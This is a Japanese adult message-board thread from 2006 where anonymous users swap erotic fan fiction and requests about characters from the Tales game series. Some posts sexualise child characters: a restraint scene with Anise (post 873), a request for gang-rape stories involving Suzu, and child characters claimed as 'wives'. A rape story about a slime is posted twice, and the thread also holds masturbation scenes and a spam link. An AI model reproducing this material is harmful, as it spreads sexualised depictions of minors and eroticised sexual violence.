870 名前:名無しさん@ピンキー :2006/09/25(月) 15:36:36 ID:kOCoqVuE
保管庫を改めて見てみたら
ロイコレとセネクロの作品数がぶっちぎりで多くて吹いたwww

871 名前:名無しさん@ピンキー :2006/09/25(月) 19:56:32 ID:LohuHBGW
その二つは同人の数も郡を抜いてるよ。

872 名前:名無しさん@ピンキー :2006/09/26(火) 04:35:59 ID:VH4RYwaN
今からカノンノが楽しみな俺

873 名前:名無しさん@ピンキー :2006/09/26(火) 06:03:13 ID:9b8/ONUx
アニスは脚をM字に括られ、男達の前で視姦された。
「やだ…恥ずかしいっ…見ないで…」
まだ熟れの足りない“アソコ”は、見られた恥ずかしさから既に濡れていた。

「!!…やだぁッ!!ぶるぶるするのはやだよぉ…ッ!!」
泣きじゃくるアニス。
しかし男達はそれをやめようとしない。

874 名前:名無しさん@ピンキー :2006/09/26(火) 21:07:16 ID:G9tCXwjn
>>870
ロイコレとセネクロのカプ物が多いのは王道って言えば王道だからだろうね。
シャーリーは血の繋がりは無くても妹って立場になるからカプとしては萌え難いのかもしれない。

875 名前:名無しさん@ピンキー :2006/09/27(水) 05:44:12 ID:MoJcYsAy
酢飯は妹っていう以前に(ry

876 名前:名無しさん@ピンキー :2006/09/27(水) 19:16:58 ID:zk3/HRpv
たまにはステラのことも思い出してあげてください
ミントのことも(ry
ルーティの(ry
ファ(ry

以下エロも色気も無い小ネタ、ピオニーとジェイド
「ネフリーは喜んでいたか」
「贈り物の話ですね。ネフリーから手紙がきていませんか?」
「手紙は貰ったが、形式的な礼しか書いてなかった。そのまま教科書に載せられるくらいの当たり障りない返事だった」
「それはそれは。あんな服を送るから、嫌われたのではありませんか」
「ありえない」
「無駄な自信ですね」
「お前には連絡はきていないのか。ネフリーから。俺の贈り物について、何か」
「……喜んでいるようでしたよ」
「――そうか。
良かった。嫌われたらどうしようかと思っていたところだ……。
ジェイド。少し城を空けたい。後を頼んでいいか」
「……どちらへ?」

「ネフリーを脱がしに」
「インディグネイション!」

877 名前:名無しさん@ピンキー :2006/09/27(水) 20:16:01 ID:IMfGbNbq
俺の王道はキルメルd(ry 漏れの萌なんてどうでもいい…
兄弟シチュなら酢飯よりリリスだな

878 名前:名無しさん@ピンキー :2006/09/27(水) 20:17:34 ID:wBx6W6yy
入ってきたのはリッドでしたごめんなさい

879 名前:名無しさん@ピンキー :2006/09/27(水) 23:57:27 ID:GQ5sHtRH
>>876
GJ
ネフリー脱がしたい(´Д`*)ウヘヘェ

880 名前:名無しさん@ピンキー :2006/09/28(木) 08:43:18 ID:wdfbz2dO
保管庫に一つだけあるセネシャリ書いてくれた氏に、今更だがGJと叫びたい

ちなみに俺はノエルを脱がしたい
ノワール様に女の子ひん剥いて欲しい
「家の為」と心に決めつつ快感に流されるセシル将軍を見たい
導師守護役のおねーさん達にあれこれされるイオン様が……

あれ?

881 名前:名無しさん@ピンキー :2006/09/28(木) 09:32:25 ID:kXvToDqN
兄妹萌えならチェスター×アミィが王道だろー!

882 名前:名無しさん@ピンキー :2006/09/28(木) 11:03:30 ID:ggeuWlS5
いやいやゼロス×セレスもなかなか

883 名前:名無しさん@ピンキー :2006/09/28(木) 12:36:25 ID:qAqnj0a2
ホンマもんの近親相姦はやめて(ノД`)゚・。












ところでヴェイグとクレアは兄妹??

884 名前:名無しさん@ピンキー :2006/09/28(木) 12:38:25 ID:F74y7+FR
二次元にホンマモンもクソもあるかい

885 名前:名無しさん@ピンキー :2006/09/28(木) 13:43:08 ID:gs4TeiWy
導師守護役のおねーさん達にあれこれされるイオンさま……に一票。

886 名前:名無しさん@ピンキー :2006/09/28(木) 14:52:39 ID:BLOxHYe6
兄妹のようでそうでないヴェイグ&クレア・セネ&酢飯…微妙だw

887 名前:名無しさん@ピンキー :2006/09/28(木) 16:54:00 ID:+lakikLB
>>884
激同

888 名前:名無しさん@ピンキー :2006/09/28(木) 18:57:07 ID:0nF79FXj
>>883
ヴェイグは「妹みたいなもの」だと抜かしクレアは「大切な友人」とのたまう
実際血は繋がってない。

889 名前:名無しさん@ピンキー :2006/09/28(木) 19:21:34 ID:GysSy3nN
ヴェイクレとセネシャリの違いは、
兄のほうががハァハァしてるのがヴェイクレ。
妹のほうがハァハァしてるのがセネシャリと覚えよう。

もう片方は何とも思ってないwww

890 名前:名無しさん@ピンキー :2006/09/28(木) 20:36:44 ID:PS+Ef9YY
触手ネタきぼん

891 名前:名無しさん@ピンキー :2006/09/28(木) 20:42:59 ID:+QkztVN5
>>889
セネシャリはキャラクエでは逆転してたな。
心配性お兄ちゃんと、自立しちゃった妹

892 名前:名無しさん@ピンキー :2006/09/28(木) 20:49:40 ID:obHeuKOS
レッドローパーの巻きつき攻撃とか、救いの塔プレセア離脱シーンとか、
テイルズには触手がいっぱい!(´Д`*)

893 名前:名無しさん@ピンキー :2006/09/28(木) 22:21:04 ID:BLOxHYe6
>>889
うまい!うまい象

894 名前:名無しさん@ピンキー :2006/09/29(金) 08:10:49 ID:aJorBBke
数レス置きに話題が入れ替わってるな
兄妹→えろねた→兄妹→……

895 名前:名無しさん@ピンキー :2006/09/29(金) 22:21:19 ID:rKEPtr2X
ショタ万歳

896 名前:名無しさん@ピンキー :2006/09/30(土) 08:20:19 ID:z9YINZtM
ショタはスレ違い。

兄妹ものは結構あるけど姉弟って少ないよね。
姉弟キャラがルーティ+リオン、リフィル+ジーニアスしかいないからかな。

897 名前:名無しさん@ピンキー :2006/09/30(土) 09:12:47 ID:Qvq0z1nn
つマーテル+ミトス セレーナ+ティトレイ マリィ+ガイ

サブキャラじゃ書き難いかな

898 名前:名無しさん@ピンキー :2006/09/30(土) 09:43:58 ID:lDM+uZSI
兄妹or姉弟追加。
・ギンジとノエル
・ナナリーとルゥ
・カーレルとハロルド

899 名前:名無しさん@ピンキー :2006/09/30(土) 10:53:41 ID:kEyNYY1w
一応これもそうなんだよな
レイス(レイシス)&アレンデ
腹違いだけどよ

900 名前:名無しさん@ピンキー :2006/10/01(日) 00:47:44 ID:wuid+3lQ
サブキャラに走る前に
・メルとディオ(完全な双子)
・ベルガとボルガ(姉弟)  
がいるではないか!          ・・・こっちは、登場作品自体が大分マイナーだが。

901 名前:名無しさん@ピンキー :2006/10/01(日) 01:22:23 ID:nxpbACyS
ベルガ・ボルガってなんか海賊のロボットみたいな名前だな。

902 名前:名無しさん@ピンキー :2006/10/01(日) 07:13:04 ID:rUwqxcGF
いたな、そんな奴。
サモナーズリネージだっけか?
名前は忘れたがその他にも兄妹いただろ?
あの前髪が交差してる奴。

903 名前:名無しさん@ピンキー :2006/10/01(日) 18:37:52 ID:UH45aDjT
すずやしいなが捕まって輪姦陵辱白濁人形にされるエグい話キボン
ついでに解放されて戻ってきたらメンバーから蔑まされて肉奴隷にされてしまう話もキボン

904 名前:名無しさん@ピンキー :2006/10/02(月) 12:26:36 ID:w503JORS
腹黒堕天使氏のしいな受が見テェー

905 名前:名無しさん@ピンキー :2006/10/02(月) 18:15:35 ID:c/wuqMeM
すずのエロパロキボンヌ

906 名前:名無しさん@ピンキー :2006/10/02(月) 23:53:17 ID:bnGEiBDO
クレクレ君イクナイ(・A・)

907 名前:名無しさん@ピンキー :2006/10/03(火) 17:11:28 ID:lNO3op40
ところでこのスレは23以降も継続するのか?

908 名前:名無しさん@ピンキー :2006/10/03(火) 23:12:45 ID:IiOXufW0
していいんじゃね?

909 名前:名無しさん@ピンキー :2006/10/04(水) 02:47:03 ID:kK/f1kEg
http://www.37vote.net/comic/1159566674/

910 名前:名無しさん@ピンキー :2006/10/04(水) 12:10:35 ID:ZB1J7EGN
テイルズシリーズのエッチな漫画を貼ったよ
女性管理人が趣味でやってる掲示板だから安心♪
見に来てください(*´・ω・)(・ω・`*)ネー
http://bbs7.fc2.com/php/e.php/eroero/

911 名前:名無しさん@ピンキー :2006/10/04(水) 18:39:37 ID:+2XeoDII
>>908
俺もそう思う。

912 名前:名無しさん@ピンキー :2006/10/05(木) 22:17:09 ID:/zKSjeUR
すず
チェルシー
メルディ
ブレセア

四人とも俺の嫁に決定
年増はお前等にくれてやる

913 名前:名無しさん@ピンキー :2006/10/05(木) 22:37:38 ID:qc1Yziyf
おk
クロエは俺のもの

914 名前:名無しさん@ピンキー :2006/10/05(木) 23:42:43 ID:UGySUbeG
>>912
ちょ、誰だよブレセアってwww

915 名前:名無しさん@ピンキー :2006/10/06(金) 00:01:14 ID:rNz7BnlI
おkナタリアの声ゲット

916 名前:名無しさん@ピンキー :2006/10/06(金) 02:58:28 ID:VhnmP3hb
>>914
バルバトスのことだよ

917 名前:名無しさん@ピンキー :2006/10/06(金) 07:49:02 ID:RivAsAVC
プレセア「ぶるあ」

918 名前:名無しさん@ピンキー :2006/10/06(金) 11:15:25 ID:frV2ezi8
おk
リフィルは俺のもの。

919 名前:名無しさん@ピンキー :2006/10/06(金) 11:36:45 ID:VGC8VON6
ピンクのフリフリスカートは頂いてゆく

920 名前:名無しさん@ピンキー :2006/10/06(金) 18:08:32 ID:VGC8VON6
ウイルスがうざったいから、このスレさっさと埋めようぜ

921 名前:名無しさん@ピンキー :2006/10/06(金) 18:14:11 ID:7qyYjIjh
あたし、女なんでコングマン以外の男キャラ全員拉致りますねw

922 名前:名無しさん@ピンキー :2006/10/06(金) 18:18:05 ID:VGC8VON6
そうはさせん

923 名前:名無しさん@ピンキー :2006/10/06(金) 19:13:38 ID:i1Vuz47/
流れ的に全然関係ないけど

キールは絶対ムッツリだと思うのは自分だけ?

924 名前:名無しさん@ピンキー :2006/10/06(金) 22:09:04 ID:dREHih1Y
>>921
どうぞどうぞ、フォッグ・マウリッツ・変態ガープの三人ならご自由に。

925 名前:名無しさん@ピンキー :2006/10/06(金) 22:12:54 ID:vB7btvBZ
>>921
私も女だよ。
だから親父キャラは全部、私におくれ!
20歳以下のキャラは全部あげるからw

>>923
ノシ!!!!
キールは絶対にムッツリスケベw

926 名前:名無しさん@ピンキー :2006/10/08(日) 03:31:54 ID:yZpk6cKS
イオンさまだけ頂いときますね。

927 名前:名無しさん@ピンキー :2006/10/08(日) 08:31:59 ID:7qokuIBA
このスレ、801禁止なのに女もいるのか

928 名前:名無しさん@ピンキー :2006/10/08(日) 09:13:44 ID:mdLvmnBH
ヒント:自分から女と言い出す奴は以下略

929 名前::2006/10/08(日) 09:59:38 ID:lDeFNKPt
女が皆801好きだと思うなヴォケが





と言うわけで、チェスター戴いていきますね。

930 名前:名無しさん@ピンキー :2006/10/08(日) 13:11:08 ID:4mBrvTD8
今、まさに女子高生が人気のない裏路地で男に襲われようとしていた。
「服などという不純物まで吸収するわけにはいかないな・・・」
「ちょっと!!やめて!!きゃあっ!!」
彼女の服は男の手によって剥ぎ取られ、下着姿となった。「い・いやあ・・・」
次の瞬間には、男の手がブラジャーとパンツに伸び、やはり剥ぎ取ってしまった。
「なかなか、いい体をしているな、これは吸収しがいがある」

そう言うと男の体が崩れ、ピンク色がかかったスライムのようなものに変貌していった。
彼女は腰を抜かしたが、胸は手で隠した。
「い、いやあ、来ないで・・・・」
だが無常にもスライムは彼女に飛びつき・・・・・
べちょっ!!「きゃあ!!」
捕らえられてしまった・・・・・もう逃れることはできない・・・・

ぐちょぐちょぐちゃぐちゃ・・・・
「きゃあああ!い、いやあああ!やめてぇぇぇ!!」ぐちゃぐちゃぐちゃぐちょ
スライムは彼女の全身をもみこむように、ゆっくりゆっくりと同化していく・・・
ぐちょぐちょぐちょぐちょ
「きゃあああ!!いやっ、いやあああ!!ああん、いやああ!誰か!助けてぇぇ!! ぐちょぐちょぐちょ
いやああああああああ!!」ぐちゃぐちゃぐちゃぐちょぐちょ
あらん限りの声を張り上げるが誰も来ない・・・
必死に抵抗するが逃れることはできない・・・・
彼女をもみこむ音と悲鳴以外何も聞こえない・・・グちょぐちょぐちょぐちょぐちょ
「はあん!!あん、ああん、あっあっあっあァあぁん!!あァん!あン!!」 ぐちょぐちょぐちょぐちょぐちょ
だんだんと悲鳴が喘ぎ声のようになっていった。
彼氏とのセックスと錯覚しているかのようだ。
ぐちょぐちょぐちょぐちょぐぐちょ
「あ・・ああ・・ん・・ああん・・・ああ・・」ぐちょぐちょぐちょぐちょぐちょ
次第に彼女は弱っていく・・・・ ぐちょぐちょぐちょぐちょぐちょ
「あ・・ああ・・あ・あ・・・あ・・・あああ・・いや・・・あああ・・ああ・・・あ・・・・ん・・」ぐちょぐちょ
ズブ、ズブブブブブブブ・・・・顔など、残っていた所すべて包まれた。
完全に彼女は吸収され、残ったのは破られた彼女の衣服のみ・・・・・・

931 名前:名無しさん@ピンキー :2006/10/08(日) 13:45:18 ID:7qokuIBA
えらいことになってるな
どこの誤爆だw

932 名前:名無しさん@ピンキー :2006/10/08(日) 15:55:26 ID:G9QkM0cP
>>891
いつ大沈下起こされるかわからんからなw


自分はセネクロよりセネステの方が……

933 名前:名無しさん@ピンキー :2006/10/09(月) 02:38:33 ID:Li9x83bm
お願いだ!誰かセネ×クロの激しいSMプレイを!

934 名前:名無しさん@ピンキー :2006/10/09(月) 09:17:26 ID:IAy30Thj
クロエ「…(鞭でビシッ)」
セネル「あんっ、もっとぉ!!」

935 名前:名無しさん@ピンキー :2006/10/09(月) 12:33:17 ID:syqdfYy8
唐突で吹いたwww

936 名前:名無しさん@ピンキー :2006/10/09(月) 14:32:04 ID:gRGznFnX
これは激しいSMですね

937 名前:名無しさん@ピンキー :2006/10/09(月) 18:43:57 ID:F/7eNKL6
今、まさにリアラが人気のない裏路地で男に襲われようとしていた。
「服などという不純物まで吸収するわけにはいかないな・・・」
「ちょっと!!やめて!!きゃあっ!!」
リアラの服は男の手によって剥ぎ取られ、下着姿となった。「い・いやあ・・・」
次の瞬間には、男の手がブラジャーとパンツに伸び、やはり剥ぎ取ってしまった。
「なかなか、いい体をしているな、これは吸収しがいがある」

そう言うと男の体が崩れ、ピンク色がかかったスライムのようなものに変貌していった。
彼女は腰を抜かしたが、胸は手で隠した。
「い、いやあ、来ないで・・・・」
だが無常にもスライムはリアラに飛びつき・・・・・
べちょっ!!「きゃあ!!」
捕らえられてしまった・・・・・もう逃れることはできない・・・・

ぐちょぐちょぐちゃぐちゃ・・・・
「きゃあああ!い、いやあああ!やめてぇぇぇ!!」ぐちゃぐちゃぐちゃぐちょ
スライムはリアラの全身をもみこむように、ゆっくりゆっくりと同化していく・・・
ぐちょぐちょぐちょぐちょ
「きゃあああ!!いやっ、いやあああ!!ああん、いやああ!誰か!助けてぇぇ!! ぐちょぐちょぐちょ
いやああああああああ!!」ぐちゃぐちゃぐちゃぐちょぐちょ
あらん限りの声を張り上げるが誰も来ない・・・
必死に抵抗するが逃れることはできない・・・・
彼女をもみこむ音と悲鳴以外何も聞こえない・・・グちょぐちょぐちょぐちょぐちょ
「はあん!!あん、ああん、あっあっあっあァあぁん!!あァん!あン!!」 ぐちょぐちょぐちょぐちょぐちょ
だんだんと悲鳴が喘ぎ声のようになっていった。
カイルとのセックスと錯覚しているかのようだ。
ぐちょぐちょぐちょぐちょぐぐちょ
「あ・・ああ・・ん・・ああん・・・ああ・・」ぐちょぐちょぐちょぐちょぐちょ
次第にリアラは弱っていく・・・・ ぐちょぐちょぐちょぐちょぐちょ
「あ・・ああ・・あ・あ・・・あ・・・あああ・・いや・・・あああ・・ああ・・・あ・・・・ん・・」ぐちょぐちょ
ズブ、ズブブブブブブブ・・・・顔など、残っていた所すべて包まれた。
完全にリアラは吸収され、残ったのは破られた彼女の衣服のみ・・・・・・

938 名前:名無しさん@ピンキー :2006/10/09(月) 20:14:49 ID:R/r/ar+h
糞面白くないコピペ改変乙

939 名前:名無しさん@ピンキー :2006/10/09(月) 21:19:35 ID:gRGznFnX
職人さんがしばらく来てないな…
まあそんなにホイホイ書けるもんでもないんだろうけど

940 名前:名無しさん@ピンキー :2006/10/10(火) 06:04:22 ID:VAXGCno7
裸で正座して待ってますよ、職人さん

941 名前:名無しさん@ピンキー :2006/10/11(水) 01:16:35 ID:GUQ5j5OJ
セネ×クロSMプレイのSS俺もみたいかも。もちろんクロエがどMだろ

942 名前:名無しさん@ピンキー :2006/10/11(水) 02:49:04 ID:4O+gCk/O
SMならアニー×ユージーンとか違和感なくね?
SM通り越してグロになりそうだけど

943 名前:名無しさん@ピンキー :2006/10/11(水) 14:47:57 ID:w49cwmEP
アニー攻めのSMか・・・・これは実にグロそうだ

944 名前:名無しさん@ピンキー :2006/10/11(水) 14:58:22 ID:IN7COCcE
ここは間を取って
アニー×クロエと
セネル×ユージーンのSMが良いんじゃね?

945 名前:名無しさん@ピンキー :2006/10/11(水) 17:53:33 ID:Vjuk5p16
ちょっと待てw

946 名前:名無しさん@ピンキー :2006/10/11(水) 18:19:12 ID:LcIFOvdd
メルディ、メルディ!!
ハアハアハアハアハア ウッ!

947 名前:名無しさん@ピンキー :2006/10/12(木) 01:39:17 ID:vwjAvyFH
漫画のクロエ可愛いw

ツンデレさが出てますよ

948 名前:名無しさん@ピンキー :2006/10/12(木) 21:28:54 ID:sth60syl
>>944
アニー「クロエさんって胸大きいですよね」
クロエ「な、なんだ突然!」
アニー「わたしなんか…」
クロエ「焦らなくていい、アニーだってすぐに大きくなる」
アニー「…ウソばっかり」
クロエ「ア、アニー?」
アニー「この胸か!?この胸がウソつくんか!?あ〜ん!」
クロエ「こ、こら、胸を揉むな!…あ、らめぇ」

セネル「輪曲爆牙弾!」
ユージーン「お、おおお」
セネル「飛燕連脚!」
ユージーン「いいぞ、腰にクる」
セネル「万国吃驚掌!」
ユージーン「ああ、次はションベンだ」

SSじゃねーけど。

949 名前:名無しさん@ピンキー :2006/10/12(木) 21:34:30 ID:RWKac0Qw
>>948
やろーてめーwwww
だが実のところワロスww

950 名前:名無しさん@ピンキー :2006/10/12(木) 21:43:35 ID:mGoYVyur
>>948
不覚にもクロエに萌えた

951 名前:名無しさん@ピンキー :2006/10/12(木) 22:46:24 ID:bhkUeDoG
ある月明かりが明るい夜の事、ある深い森の中、女騎士‐クロエ・ヴァレンス‐は、声を押し殺し、自慰に耽っていた。
「ん…くぅ…ふ、ぁ…」
ぴっちりのタイツの上から自分の秘部をなぞり、胸の突起を弄っている。
「あ…ぁ、ん…クゥ…リッ、ジ…」
想い人との情事を妄想して、息は荒く、股間はトロトロになりタイツに染みるまで、ただただ慰め続けた。
「んは…ぁ…う…ッ…あんっ…」
欲しい、欲しい、欲しい…狂う程に。
私を突き上げて…!!
「あ、あうっ…んぁ…あっ、あ、ぁ、あ、あぁ…ッ!!」
いつしか声を殺す事も忘れていた。

952 名前:名無しさん@ピンキー :2006/10/12(木) 22:47:08 ID:bhkUeDoG
騎士の命である剣も、今は卑猥な玩具と化していた。
クロエは剣の鞘に跨がり、腰を振った。
秘部と鞘が擦れ合い、彼女に更なる快感と快楽を与えた。
「あぁん、は、ぁ、ん…っあ、ひぁ、あ…セ…ネルゥ…ッ…」
クロエは彼の名を呼び、そのまま果てた。

953 名前:名無しさん@ピンキー :2006/10/12(木) 23:02:12 ID:svSXeZJa
俺の嫁投下。

954 名前:名無しさん@ピンキー :2006/10/12(木) 23:04:01 ID:svSXeZJa
「ねぇ〜ん」
 酔っているな、とすぐに感づける妖気が満ちた色気ある声だった。しかし、これがいつもどおりの声、
とも考えうることが、彼女が対象なら可能だろうか。小さな手のひらの中でグラス越しの赤ワインがゆらりと揺れて、
液体がポトンと跳ね上がると、自分の心臓までも丸ごと抉り取られるように感じた。
 負けず劣らず。こちらも相当酔いが回っている。瞳に照り輝く光がトロンと炎のように揺らぎ、紫色の底に堕ちて
いくようと思えたが、実際堕ちているのは、俺の方か、光のほうか。
「ちょっとぉ〜
「……なんだ?」
 自分の名を呼ぶ唇が桜色に鈍く光っている。今までそこにじっとりとくっついていた口紅は、大半がワイングラス
の淵に移り変わり、残りはワインの中か、体の中か。どちらにせよ、厚い唇の緩やかな動きに、横目で凝視してしまう。
 だが、ハッと気づいて”ハロルドの方”を見ると、思わず噴出したとでも言う風にクスクスと笑い出す。
「あんたって、隠さないわね〜」
 俺を使って遊んでいるだけ。何を企んでいるのか、じぃっと見られる事が、苦痛であり、でも嬉しさともなって頭の
奥底を叩くのだが、全てを早すぎる二日酔いのせいにしたかった。
 体がぼぉっとサウナに入ったかのように熱くなる。
 やがて真っ赤にするだけで止まった俺の表情に見飽きたのかどうか、ハロルドはプイとテーブルの方を向き直して、
テーブルの上にドンと盛られたフルコースの数々に目をやると、どれがいいかと悩んだ挙句、結局は選んでいた全てを
自分の皿に盛りだした。一枚のお皿には、チキンにサラダ、フルーツにパンと、見た目には心苦しい配色が並んでいる。


955 名前:名無しさん@ピンキー :2006/10/12(木) 23:05:15 ID:svSXeZJa
今日の夜遅くになって、ようやく俺達が担当していたプロジェクト
……、ハロルド以外の者達から名づけられた通称『サンデイワンスモア』の開発チャート
が終了した事を告げると、そっと食堂の方々が俺たちに向けて貴重な天然食料を駆使して
フルコールを調理してくれた。本当、この世界では異例の対応だ。
 実際に単なる設定として扱われていた時は、この世界の事など戦争時の、しかも最終決戦
前後しか扱われていなかったから、それ以外の事について考えることも少なかったが、考え
てみれば、この世界に日光は無いのである。照らす事もあるとはいえ、それはほんの些細な
事で、とても頼れる代物ではない。当然農産物関係などは人工的な地下農地によって作られ
ているがその生産量などたかが知れており、大体の民衆は普段栄養剤等のみで食を賄っているのだ。
 そうすれば、普段見ていた何気ない野菜たちがいかに高級品で、フルコースなんてどれほ
どの価値がある事か。
 ハロルドはそれを聞くやいなや、私室内のテーブルの上だけは光の速さでピカピカのツヤ
ツヤに仕上げ、照明も実験時に使う間接照明に布をかぶせて「らしい」具合に光を調節させながら、
彼女独特の雰囲気に仕立て上げた。
 おかげで、彼女の私室兼ラボは、決して周りの壁を凝視しない事を条件にすればまるでバーにいるような暖かい空気に包まれて、ここ最近の疲れを、いる場所は同じだというのにサァッと流してくれるよう。


956 名前:名無しさん@ピンキー :2006/10/12(木) 23:06:24 ID:svSXeZJa
 食事を勧めながらも、俺達は今後の活動について雑談扱いで話していた。
幸い、ネタは尽きない。
 音楽も空白を潰すための映像も必要なかった。どちらかが喋ると、片方は
何かを食うか相槌を打つかは必ず行う。設備は整った、後は実行するだけだ
とか、実行する時の人員はどうするとか、今でも工事が進められているドー
ム型庭園の様子はどうかななんて。明日にでもまた様子を見てこようかと提
案すると「いいわね」と満足げに鼻を鳴らす。
 気楽になったもんだ、と、話を普通にしている自分を遠くから見て思う。
 つい最近までは、彼女との会話、一言一言が綱渡りをしているような緊張
の糸を通り抜けて口から出していたというのに。彼女に嫌われぬよう、どこ
かへ棄てられぬようとフィルターを通していた言葉も、今ではスラスラと表
に出てくる。こうして自分から誘ってみても、思いついてから話すまでに至
ったタイムは最短記録だっただろう。
 つまりは、そう。そういう事。俺達はもう、そういう事を考えなくても良
い事になったんだ。なあ?
「知らないわよ」
 振ると突然に赤らめていく頬が、レンズ灯の橙色の照明で余計に強く感
じる。それが、俺に対しての思いの結果なのだと思うと背中辺りをくすぐら
れたように嬉しくなって、思わずその頬に人差し指を軽く押し込んだ。
 悪戯にプゥと空気で膨らんでいた頬が、心地良い弾力で弾き返してくる。
「……ム〜」
 最近分かった事だが。
 ハロルドが実験実験と自分から一方的に相手へと近づくのは”それだけ
しかできない”からで、こうして受けて側となると予想以上に対応が下手
になる。昔、彼女が幼い頃はむしろ引きこもりがちというか、どちらかと
言えばいじめられ側だったという話もなんとなく頷ける。受けるのが下手
だから、むしろ自分から攻め込む事で今のような明るさを持てたのであろ
うが、そういった根本的なところは、直せないのかどうか。いずれにせよ、
そこらへんがたまらなく可愛い。


957 名前:名無しさん@ピンキー :2006/10/12(木) 23:07:42 ID:svSXeZJa
 いじめられていた、と聞くが、実際のところはそうではなく、ただ単にい
じられていただけではないかとも思ってしまう。誰でも、目の前で自分の行
動に対しこんな反応を示してくれたら、彼女を構いたくなるに違いない。
 子犬かなにか小動物のようなクルンとした印象が、無性にいじらしい。
 ああ、酔ってる。
 無理やりにこみ上げてくる笑みを抑え、彼女の名誉の為にもここはやめて
おこうと、そこからしばらくは食事のみの時間が続いた。なにせ、こんなに
味覚を刺激する料理が今度はいつ食べれるかどうか、わかったもんじゃない。
 5分も経てば、先ほどまでの怒りはどこへやら、ハロルドの顔はまたいつ
ものような無邪気な明るさへと戻った。
「あー、おいしーわ♪ そうね、もしプロジェクトが成功したなら、まず畑
を作りましょう、畑♪」
「畑って、地下にもあるでしょう」
「いいえ、このあたりぜ〜んぶ畑。果樹園なんかもいいわね。牛さんや豚さ
んものびのびと歩けるような場所がいいわぁ」
 まあ一応とは思い、そんな大地にハロルドが佇んでいる姿を想像するも、
緑と青だけで染められた景色にいる赤系統の塊は、酷く浮く。なんと現実離
れと呟きたくなる。が、こういった想像が地上軍全体のプログラムとなるの
だからやりきれない。実質、言葉だけは軽率というか軽いけれど、まあ、考
えてみればそれはそれで、理に叶った”プロジェクト”ではある。
 このラディスロウも、ソーディアン達も、元を辿ればこういった彼女の幻
想の中から現実に引き出されてきたものである。そう考えると、彼女がいか
に好奇心旺盛で、行動に移す力があるかを肌で実感する。
 そこまで考えてまた振り向くと、ハロルドがじぃっとこちらを見つめてい
た。ああ、そういえば。
「……、うん、俺も好きだな、そういう場所。いいね」
「うんうん、そうっしょそうっしょ?☆」
 返答をずっと待っていたのだろうか。俺が呟くと、それほどの事でもなか
ったはずなのにパァッと彼女の顔に花が咲くようだった。俺が共感した事へ
の、純粋な喜び。ただそれだけをここまで誇大表示してくれると、かえって
照れくさい。
いつもの、確かに周りの言うような奇妙染みた行動も多々あるが、こういう
普通の女の子すぎる一面を見るたび、胸がバクンと張り裂けそうになる。
 ああくそ、こいつは本当に何も考えずにこんな事をしているのだろうか。
 また何かしてやろうか、と思い思わず右手をグッと握りだす自分に気づき、自分の感情がむきだしなままな事に気づく。確かに、むきだしにしてももういいかもしれない。が、いつも以上に、表に出そうとしている事は、少し異常ではあった。
 酔いが進む。
 そして、この酔いに全てを任せてしまおうとかとまで考えている自分がいる。
 視界には、こじんまりとした可愛い彼女が、一人。


958 名前:名無しさん@ピンキー :2006/10/13(金) 01:40:17 ID:gbjfC2b6
ぁ。
この小説は、ここで終わり。

959 名前:名無しさん@ピンキー :2006/10/14(土) 00:02:36 ID:9XzyVAcJ


960 名前:名無しさん@ピンキー :2006/10/14(土) 08:09:12 ID:vyn7f2Xk
モノローグしてるのは誰なのかね

961 名前:名無しさん@ピンキー :2006/10/14(土) 23:19:53 ID:z5BIrk32
次スレはないの?

962 名前:名無しさん@ピンキー :2006/10/15(日) 15:41:17 ID:IYCbBjPN
950過ぎたらたてるんだよな?

963 名前:名無しさん@ピンキー :2006/10/15(日) 16:52:00 ID:VJwPECtY
そもそもこのスレ見てる奴どれぐらいいるんだ?

964 名前:名無しさん@ピンキー :2006/10/15(日) 20:36:47 ID:4/CcR8o5
ノシ
以前ほど賑やかじゃなくなったけど、結構いると思うよ。

965 名前:名無しさん@ピンキー :2006/10/15(日) 22:55:51 ID:IYCbBjPN
カウンターとかついてたらいいのにな ワラ

966 名前:名無しさん@ピンキー :2006/10/15(日) 23:12:43 ID:vr1XWDUV
ROMってるやつが多いと思う

967 名前:名無しさん@ピンキー :2006/10/16(月) 01:24:46 ID:4L+DDEcU
様子見sage

968 名前:名無しさん@ピンキー :2006/10/16(月) 08:40:07 ID:afuzilyX
テイルズシリーズのエロパロスレです。ハァハァしてマターリ楽しみましょう。

SS書きさん募集中。投下したい時に投下して下さい。
 事前の投下確認は荒れる原因になるので無用。前置きをSSの前に挟めば大丈夫です。
 グロ、百合、性転換など、好みの分かれるシチュの場合は、SSの前に必ず前置きを。
※このスレは男×男(801、ショタ)物は禁止です。801板モララーのビデオ棚スレなどへどうぞ。

注意事項
・クレクレ君は禁止。
・原則sage進行。
・来る者拒まず、去る者追わず。
・荒らしはスルー、各種煽り厳禁。
・厨は21歳になってから。(例え見てても書き込むな)
・このスレでの議論厳禁。あってもスルーしましょう。必要があれば保管庫の雑談スレで。
※その他のローカルルールは適当。文句あったらどうぞ。

前スレ
テイルズのエロネタないんかね?22
http://sakura03.bbspink.com/test/read.cgi/eroparo/1143480925/l50
保管庫
ttp://yellow.ribbon.to/~sanadamushi/sstop.html

関連スレ
■◆◆テイノレズシリーズ女体化スレ◆◆■
http://angler.ddo.jp/orz/orz.cgi/sakura02.bbspink.com/pinknanmin/1142054813/

次スレは>>950踏んだ人かスレの容量が450KBになったら誰かスレ立て宣言して立ててね。

969 名前:名無しさん@ピンキー :2006/10/16(月) 09:26:48 ID:CjQhDJwd
18禁絵板にマッチョメンクィッキーに犯されるメルディ絵投下されてるぞ。
なかなかイイ構図だた。

970 名前:名無しさん@ピンキー :2006/10/17(火) 01:25:55 ID:9vD174Yf
すごく嬉しくて新スレを立てたいぐらいなのに・・。私、スレ立ても出来ない。ごめんね・・。

971 名前:名無しさん@ピンキー :2006/10/17(火) 15:25:14 ID:l1mlpyOv
立てたよ
http://sakura03.bbspink.com/test/read.cgi/eroparo/1161066271/l50

972 名前:名無しさん@ピンキー :2006/10/17(火) 20:00:20 ID:NDhuBOsh
>>971
乙でっす!

973 名前:名無しさん@ピンキー :2006/10/17(火) 20:10:05 ID:l1mlpyOv
>>969
最近現れた期待の絵師だな
何気にアナルプレイで吹いた


974 名前:名無しさん@ピンキー :2006/10/19(木) 08:23:44 ID:uQpsJjm9
>>973
豪快にアナルプレイするクィッキーワロスw
目から光線出てるしw

975 名前:名無しさん@ピンキー :2006/10/20(金) 09:39:02 ID:PKhAACCF
よし、残り25レスは自分の萌えキャラについて語ろうぜぃ
スレ埋な。
ただし、キャラの悪口禁止な。

A→ハロルドモエー
B→ハロルドのどこがいいんだよ
なんてBのような意見は禁止。
スレが荒れるからな。
二十歳以上ならそれくらいわかるだろw


漏れはメルディ萌えだなw
たまんぬぇww

